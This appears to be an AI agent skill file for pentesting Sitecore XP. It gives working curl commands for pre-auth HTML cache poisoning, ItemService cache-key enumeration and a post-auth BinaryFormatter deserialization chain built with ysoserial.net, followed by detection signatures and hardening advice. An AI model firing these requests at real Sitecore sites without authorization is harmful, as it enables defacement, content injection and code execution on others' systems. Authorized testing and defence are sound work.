| name | sitecore-xp-pentest |
| description | Security testing skill for Sitecore Experience Platform (XP) vulnerabilities including pre-auth HTML cache poisoning and post-auth RCE via BinaryFormatter deserialization. Use this skill whenever the user mentions Sitecore XP, Sitecore security testing, cache poisoning, XAML handler exploitation, or deserialization attacks against Sitecore. Trigger for any Sitecore vulnerability assessment, penetration testing, or security review tasks. |
Sitecore XP Security Testing
A comprehensive skill for testing Sitecore Experience Platform (XP) 10.4.1 and similar versions for critical vulnerabilities including pre-auth cache poisoning and post-auth RCE.
When to Use This Skill
Use this skill when:
- Testing Sitecore XP installations for security vulnerabilities
- Investigating cache poisoning or deserialization issues in Sitecore
- Performing penetration testing on Sitecore-based applications
- Reviewing Sitecore security configurations
- Validating patches KB1003667 and KB1003734
Vulnerability Overview
This skill covers a complete attack chain:
- Pre-auth: XAML Ajax reflection → HtmlCache write (CVE-2025-53693)
- Enumeration: Cache key discovery via ItemService side-channels (CVE-2025-53694)
- Post-auth: BinaryFormatter deserialization → RCE (CVE-2025-53691)
Prerequisites
- Target Sitecore XP 10.4.1 (or similar version)
- For post-auth tests: authenticated Content Editor credentials
- ysoserial.net or YSoNet for gadget generation
- HTTP client (curl, Burp, etc.)
Phase 1: Pre-auth Cache Poisoning
Test the XAML Handler
The pre-auth entrypoint is the XAML handler at /-/xaml/Sitecore.Shell.Xaml.WebControl.
Quick test:
curl -s -o /dev/null -w "%{http_code}" "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl"
Poison the HtmlCache
Use the AddToCache method on the XmlControl to write arbitrary HTML:
curl -X POST "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d '__PARAMETERS=AddToCache("test-key","<html><body>POISONED</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1'
Key parameters:
__SOURCE: ClientID of xmlcontrol:GlobalHeader (typically ctl00_ctl00_ctl05_ctl03)__PARAMETERS: Method call in format Method("arg1","arg2")__ISEVENT=1: Required for Ajax event processing
Verify Cache Poisoning
curl -s "https://target/" | grep -i "POISONED"
Phase 2: Cache Key Enumeration
Check ItemService Exposure
curl -s "https://target/sitecore/api/ssc/item" | jq -r '.error?.message // "Exposed"'
Enumerate Cacheable Items
curl -s "https://target/sitecore/api/ssc/item/search?term=layouts&fields=Path,Cacheable,VaryByDevice,VaryByLogin&pagesize=100" | jq '.Results[] | {path: .Path, cacheable: .Cacheable}'
Side-channel Enumeration (CVE-2025-53694)
Even when Results are empty, TotalCount may leak information:
curl -s "https://target/sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&pagesize=100" | jq '.TotalCount'
Construct Cache Keys
Cache keys follow this pattern:
{CachingID}_#lang:{LANG}_#login:{BOOL}_#dev:{DEVICE}_#qs:{PARAMS}_#index
Example for a sublayout:
/layouts/Sample+Sublayout.ascx_#lang:EN_#login:False_#dev:Desktop_#qs:_#index
Phase 3: Post-auth RCE
Prerequisites
- Valid Content Editor session cookie
- ysoserial.net for gadget generation
Generate Deserialization Payload
ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('XSS')</script>" | base64 -w0
Trigger the Deserialization Sink
The sink is in convertToRuntimeHtml pipeline via FixHtml.aspx:
curl -s -c cookies.txt "https://target/sitecore/shell/Applications/Content%20Editor.aspx"
GADGET=$(ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('RCE')</script>" | base64 -w0)
curl -X POST "https://target/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx" \
-b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "__PARAMETERS=edithtml:fix&ctl00\$ctl00\$ctl05\$Html=<html><iframe id='test' src='poc' value='poc'></iframe><test id='test_inner' value='${GADGET}'></test></html>"
Detection Signatures
Pre-auth XAML Exploitation
Monitor for:
- Requests to
/-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1
__PARAMETERS containing AddToCache(- Unusual
__SOURCE values targeting XmlControl
ItemService Probing
- Spikes in
/sitecore/api/ssc/item/search with wildcard queries
- Large
TotalCount with empty Results array
- Sequential queries narrowing down item groups
Deserialization Attempts
EditHtml.aspx POST followed by FixHtml.aspx?hdl= GET- Large base64 strings in HTML fields
- Requests to
convertToRuntimeHtml pipeline
Hardening Recommendations
Immediate Actions
- Apply patches: KB1003667 and KB1003734 (June/July 2025)
- Disable pre-auth XAML handlers in web.config:
- Restrict ItemService to authenticated roles only
- Remove BinaryFormatter usage or add strict validation
Monitoring
- Rate-limit
/-/xaml/ endpoints
- Alert on
AddToCache in request parameters
- Monitor for cache key enumeration patterns
- Log all
convertToRuntimeHtml pipeline invocations
Access Control
- Enforce MFA for Content Editor users
- Apply least privilege to Sitecore accounts
- Review CSP headers to limit JS steering impact
- Lock down
/sitecore/api/ssc to loopback or specific roles
Scripts
See the scripts/ directory for:
test-xaml-handler.sh - Test XAML handler accessibilityenumerate-cache-keys.sh - Enumerate cacheable itemsgenerate-gadget.sh - Generate deserialization payloadsfull-chain-test.sh - Complete attack chain (use with caution)
References
Safety Notice
This skill is for authorized security testing only. Always obtain written permission before testing any Sitecore installation. Unauthorized access to computer systems is illegal.
